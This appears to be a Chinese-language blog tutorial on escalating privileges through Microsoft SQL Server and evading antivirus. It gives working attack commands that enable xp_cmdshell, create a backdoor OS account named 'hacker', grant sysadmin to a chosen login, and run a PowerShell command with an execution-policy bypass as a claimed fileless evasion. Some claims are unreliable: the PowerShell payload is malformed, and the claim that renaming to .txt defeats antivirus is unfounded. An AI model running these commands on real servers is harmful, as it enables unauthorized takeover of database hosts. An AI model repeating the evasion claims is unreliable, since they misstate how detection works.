MSSQL绕过杀软提升权限破解术

1.前言

在自己的学习过程中,接触到了SQL Server,发现其是一个非常全面的数据库管理系统,同时也是大公司企业级别的首选数据库,而MSSQL作为SQL Server的主题面之一,在各大企业中也相当常见,因此研究MSSQL的安全问题变得非常重要。

在实际工作中,经常遇到需要提升权限或绕过杀软的情况,今天我将会分享一个基于MSSQL的提升权限及绕过杀软的方法。

2.提升权限

2.1 xp_cmdshell

在前置知识中,我们需要了解的是xp_cmdshell,xp_cmdshell作为MSSQL中一个可以调用操作系统shell的存储过程,提供了执行操作系统命令的功能。如果我们可以成功的利用xp_cmdshell存储过程的特性,那么提升权限的方式也就呼之欲出了。

具体实现方法如下:

EXEC sp_configure 'show advanced options', 1;

RECONFIGURE;

EXEC sp_configure 'xp_cmdshell', 1;

RECONFIGURE;

通过以上代码,我们可以将xp_cmdshell开启,然后编写我们需要执行的系统命令即可,如下所示:

EXEC master..xp_cmdshell 'net user hacker hacker123 /add';

上述代码可以在MSSQL中添加一个名为hacker,密码为hacker123的新用户,此时我们就可以成功的以hacker的身份登录系统,并且提升了自己的权限。

2.2 DBA权限提升

如果我们只想要提升我们的权限,并不想创建新的用户或工具,则可以利用MSSQL提供的DBA权限提升方式来实现。

具体方法如下:

EXEC sp_addsrvrolemember 'username','sysadmin';

其中username换成我们需要提升权限的用户,以上代码则会将该用户提升至数据库管理员的权限。

3.绕过杀软

3.1 重命名

既然我们已经拿到了管理员的权限,那么我们就可以任性的执行我们想要的操作了,有些时候我们需要执行的操作可能会被杀软拦截,因此我们需要寻找其他方法使得杀软无法识别出我们的操作。

首先想到的就是重命名文件,比如我们可以将一段需要执行的代码重命名为.txt格式,然后上传到服务器上,此时杀软因为无法识别文件后缀,就不会拦截这段代码了。

3.2 无文件攻击

在一些情况下,我们并不能直接上传文件到服务器上,或者文件上传后被发现了,则需要使用无文件攻击的方法来绕过杀软。

具体实现方法如下:

DECLARE @command varchar(8000);

SET @command='powershell.exe -ExecutionPolicy Bypass -Command ';

SET @command=@command+'[System.Reflection.Assembly]::LoadWithPartialName(''Microsoft.VisualBasic'');';

SET @command=@command+'[Microsoft.VisualBasic.Interaction]::Shell("calc", vbhide);'

EXEC master..xp_cmdshell @command;

以上代码的作用是通过调用PowerShell脚本来执行需要执行的操作,此时杀软就无法检测到我们的活动并拦截它。

4.总结

通过本文的介绍,我们可以发现MSSQL是一种非常强大的数据库管理系统,并且使用它可以实现各种各样的操作,同时也需要注意其安全性问题。而想要提升权限或绕过杀软这些在我们工作中经常会遇到的问题,也有针对性的解决方法,只需要具备一些基础知识和操作技巧就可以进行灵活运用。

数据库标签